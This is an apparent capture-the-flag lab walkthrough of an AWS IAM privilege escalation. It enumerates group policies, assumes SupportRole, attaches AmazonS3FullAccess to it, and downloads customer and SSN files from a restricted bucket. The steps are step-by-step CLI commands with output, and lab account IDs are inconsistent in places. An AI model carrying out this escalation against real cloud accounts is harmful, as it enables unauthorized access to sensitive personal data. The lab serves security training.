This lab doesn’t return a username so we need to know who we’re dealing with:
aws sts get-caller-identity
{
"UserId": "AIDA5M7PA4Z576GCALD4D",
"Account": "921234892411",
"Arn": "arn:aws:iam::921234892411:user/iam-attachrolepolicy-privesc-1703266360190-Support-Mike"
}
Code language: JavaScript (javascript)
Let’s try to enumerate what permissions we have.
aws iam list-user-policies --user-name iam-attachrolepolicy-privesc-1703266360190-Support-Mike
{
"PolicyNames": []
}
Code language: PHP (php)
Nothing comes up, which means this user (our user) doesn’t have any inline policies. That means we must be getting our permissions from a Group. Let’s check it out:
aws iam list-groups-for-user --user-name iam-putgrouppolicy-privesc-1703019350806-SeniorArchitect
{
"Groups": [
{
"Path": "/",
"GroupName": "iam-attachrolepolicy-privesc-1703266360190-Support",
"GroupId": "AGPA5M7PA4Z52HQSXDKXZ",
"Arn": "arn:aws:iam::921234892411:group/iam-attachrolepolicy-privesc-1703266360190-Support",
"CreateDate": "2023-12-22T17:33:56+00:00"
}
]
}
Code language: PHP (php)
That tells us exactly what our group is including the GroupName
and Arn
.
Let’s list out the policies attached to this group:
aws iam list-group-policies --group-name iam-attachrolepolicy-privesc-1703266360190-Support
{
"PolicyNames": [
"iam-attachrolepolicy-privesc-1703266360190-policy"
]
}
Code language: PHP (php)
Now we can try to retrieve that policy:
aws iam get-group-policy --group-name iam-attachrolepolicy-privesc-1703266360190-Support --policy-name iam-attachrolepolicy-privesc-1703266360190-policy
{
"GroupName": "iam-attachrolepolicy-privesc-1703266360190-Support",
"PolicyName": "iam-attachrolepolicy-privesc-1703266360190-policy",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Condition": {
"ForAllValues:ArnEquals": {
"iam:PolicyArn": "arn:aws:iam::aws:policy/AmazonS3FullAccess"
},
"ArnEquals": {
"aws:PrincipalARN": "arn:aws:iam::921234892411:user/iam-attachrolepolicy-privesc-1703266360190-Support-Mike"
}
},
"Action": [
"iam:AttachRolePolicy"
],
"Resource": [
"arn:aws:iam::921234892411:role/SupportRole"
],
"Effect": "Allow",
"Sid": "AllowAttachRolePolicy"
},
{
"Action": [
"sts:AssumeRole"
],
"Resource": [
"arn:aws:iam::921234892411:role/SupportRole"
],
"Effect": "Allow",
"Sid": "AllowAssumeSupportRole"
},
{
"Action": [
"iam:Listroles"
],
"Resource": "*",
"Effect": "Allow",
"Sid": "AllowListRoles"
},
{
"Action": [
"iam:ListGroupPolicies",
"iam:ListPolicies",
"iam:ListPolicyVersions",
"iam:ListUserPolicies",
"iam:ListUsers",
"iam:ListGroups",
"iam:ListGroupsForUser",
"iam:GetPolicy",
"iam:GetPolicyVersion",
"iam:GetRole",
"iam:GetRolePolicy",
"iam:GetUser",
"iam:GetUserPolicy",
"iam:GetGroupPolicy"
],
"Resource": "*",
"Effect": "Allow"
},
{
"Action": [
"iam:ListRolePolicies",
"iam:GetRolePolicy"
],
"Resource": [
"arn:aws:iam::921234892411:role/SupportRole"
],
"Effect": "Allow",
"Sid": "AllowListRolePolicies"
}
]
}
}
Code language: JavaScript (javascript)
I’ll let you take a look at what all is there, but we can see that we have the ability to attach a role policy:
"Action": [
"iam:AttachRolePolicy"
],
"Resource": [
"arn:aws:iam::921234892411:role/SupportRole"
],
"Effect": "Allow",
Code language: JavaScript (javascript)
For the specific role of
"arn:aws:iam::921234892411:role/SupportRole"
Code language: JSON / JSON with Comments (json)
That’s interesting and might indicate that we have the ability to administer and maybe even assume this role?
Let’s check out this role:
aws iam list-roles --query "Roles[?RoleName=='SupportRole']"
[
{
"Path": "/",
"RoleName": "SupportRole",
"RoleId": "AROA5M7PA4Z5XAI6WBDQZ",
"Arn": "arn:aws:iam::921234892411:role/SupportRole",
"CreateDate": "2023-12-22T17:33:36+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::921234892411:root"
},
"Action": "sts:AssumeRole",
"Condition": {
"ArnEquals": {
"aws:PrincipalArn": "arn:aws:iam::921234892411:user/iam-attachrolepolicy-privesc-1703266360190-Support-Mike"
}
}
}
]
},
"Description": "Assumable role for internal support",
"MaxSessionDuration": 3600
}
]
Code language: PHP (php)
This command shows us that we do indeed have the ability to assume this role! Let’s do that, but first, let’s enumerate what policy or policies are associated with this role.
aws iam list-role-policies --role-name SupportRole
{
"PolicyNames": [
"AccessNOTSensitiveBucket"
]
}
Code language: PHP (php)
aws iam get-role-policy --role-name Supportrole --policy-name AccessNOTSensitiveBucket
{
"RoleName": "Supportrole",
"PolicyName": "AccessNOTSensitiveBucket",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"s3:ListBucket"
],
"Resource": "arn:aws:s3:::cybr-operations-data-921234892411",
"Effect": "Allow",
"Sid": "AllowListSensitiveBucket"
},
{
"Action": [
"s3:GetObject"
],
"Resource": "arn:aws:s3:::cybr-operations-data-921234892411/*",
"Effect": "Allow",
"Sid": "AllowGetObjectsInSensitiveBucket"
},
{
"Action": [
"s3:ListAllMyBuckets",
"s3:GetBucketLocation"
],
"Resource": "*",
"Effect": "Allow",
"Sid": "AllowS3List"
}
]
}
}
Code language: JavaScript (javascript)
Ok so we can see that this role has a policy attached that grants access to S3 data. That’s a good sign, so let’s assume the role!
The way do to that is through the STS CLI command (https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/assume-role.html):
assume-role
--role-arn <value>
--role-session-name <value>
Code language: HTML, XML (xml)
We can pass in the role ARN which we just got back and we can give our session a name:
aws sts assume-role --role-arn arn:aws:iam::921234892411:role/SupportRole --role-session-name test
{
"Credentials": {
"AccessKeyId": "ASIA5M7PA4Z5XRJOLI7B",
"SecretAccessKey": "Xg2/YnUUta6L1uV3F2Snsp1xuAWsh5sD5peahOh9",
"SessionToken": "IQoJb3JpZ2luX2VjEKr//////////wEaCXVzLWVhc3QtMSJHMEUCIQCO7gw+wmQN4SFwQAZp1hbQH6ziDawpny9cFscbv+zcmAIgY+f9cqFxa4szRm0YY7Hb2FCHthHS/rS3G13V/...REDACTED",
"Expiration": "2023-12-22T18:42:09+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROA5M7PA4Z5XAI6WBDQZ:test",
"Arn": "arn:aws:sts::921234892411:assumed-role/SupportRole/test"
}
}
Code language: JavaScript (javascript)
We can now use this information to make calls to the AWS environment using this role’s temporary credentials, like this:
aws configure --profile supportrole
AWS Access Key ID [None]: ASIA5M7PA4Z5XRJOLI7B
AWS Secret Access Key [None]: Xg2/YnUUta6L1uV3F2Snsp1xuAWsh5sD5peahOh9
Default region name [None]: us-east-1
Default output format [None]: json
Code language: PHP (php)
And then we simply need to set the session token:
aws configure set aws_session_token <TOKEN HERE> --profile supportrole
Code language: HTML, XML (xml)
Don’t forget to set the session token for the --profile supportrole
.
There’s a better way of setting and managing role and temporary tokens that you can read about here, but for this lab it’s not necessary.
We can verify that we’re using the correct profile and credentials with:
aws sts get-caller-identity --profile supportrole
{
"UserId": "AROA5M7PA4Z5XAI6WBDQZ:test",
"Account": "921234892411",
"Arn": "arn:aws:sts::921234892411:assumed-role/SupportRole/test"
}
Code language: JavaScript (javascript)
This should not return the initial user and should instead return an assumed-role
arn, but then if you remove the --profile supportrole
you’re right back to your initial user and permissions. Keep that in mind as you go through the rest of the lab as it’s easy to forget the profile option.
Since we saw that we had S3 access, let’s see what we can access:
aws s3 ls --profile supportrole
2023-12-22 10:32:51 cybr-customer-data-921234892411
2023-12-22 10:32:51 cybr-operations-data-921234892411
Code language: CSS (css)
Now let’s try to list the contents of each relevant bucket:
aws s3 ls s3://cybr-operations-data-921234892411 --profile supportrole
2023-12-22 10:33:28 1159 favicon.png
2023-12-22 10:33:28 301 index.html
2023-12-22 10:33:28 142 style.css
Code language: JavaScript (javascript)
(Don’t forget the --profile supportrole
or it won’t work)
Now let’s try to list the contents of the other bucket:
aws s3 ls s3://cybr-customer-data-921234892411 --profile supportrole
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
Code language: JavaScript (javascript)
So we have access to one of the buckets but not the other, and the bucket we have access to only contains files that we are meant to have access to for our support role and that are most likely public anyway:
- index.html
- style.css
- favicon.png
Clearly we do not have sufficient permissions.
That’s where AttachRolePolicy
comes into play, so let’s use it now.
For this command, remember that you need to use your IAM user’s credentials, not the role, so remove the --profile
We’re going to use this CLI command:
attach-role-policy
--role-name <value>
--policy-arn <value>
Code language: HTML, XML (xml)
We can do:
aws iam attach-role-policy \
--role-name SupportRole \
--policy-arn arn:aws:iam::aws:policy/AmazonS3FullAccess
Code language: PHP (php)
We won’t get any response back if it succeeds, but we can verify by trying to list the contents of that sensitive bucket:
aws s3 ls s3://cybr-customer-data-272281913033 --profile supportrole
2023-12-21 14:19:00 817 customers.txt
2023-12-21 14:19:00 288 ssn.csv
Code language: JavaScript (javascript)
(If it still gives an access denied error, give it a few seconds and try again. There is often a slight delay in permissions propagating through AWS)
We can now try to download this data:
aws s3 sync s3://cybr-customer-data-272281913033 ~/Downloads --profile supportrole
download: s3://cybr-customer-data-272281913033/customers.txt to Downloads/customers.txt
download: s3://cybr-customer-data-272281913033/ssn.csv to Downloads/ssn.csv
Code language: JavaScript (javascript)
And there you go! Congrats on capturing the flag! Go ahead and submit it by copy/pasting the credit card number for ‘Richard Gibson.’
By the way, you could also potentially use:
aws iam list-attached-role-policies --role-name SupportRole
Code language: PHP (php)
To list out managed policies attached to a role to see that AttachRolePolicy
worked, but in this case, the lab permissions won’t let you do that:
An error occurred (AccessDenied) when calling the ListAttachedRolePolicies operation: User: arn:aws:iam::921234892411:user/iam-attachrolepolicy-privesc-1703266360190-Support-Mike is not authorized to perform: iam:ListAttachedRolePolicies on resource: role SupportRole because no permissions boundary allows the iam:ListAttachedRolePolicies action
We have sufficient proof that the exploit worked, but just wanted to mention that before wrapping up.
Responses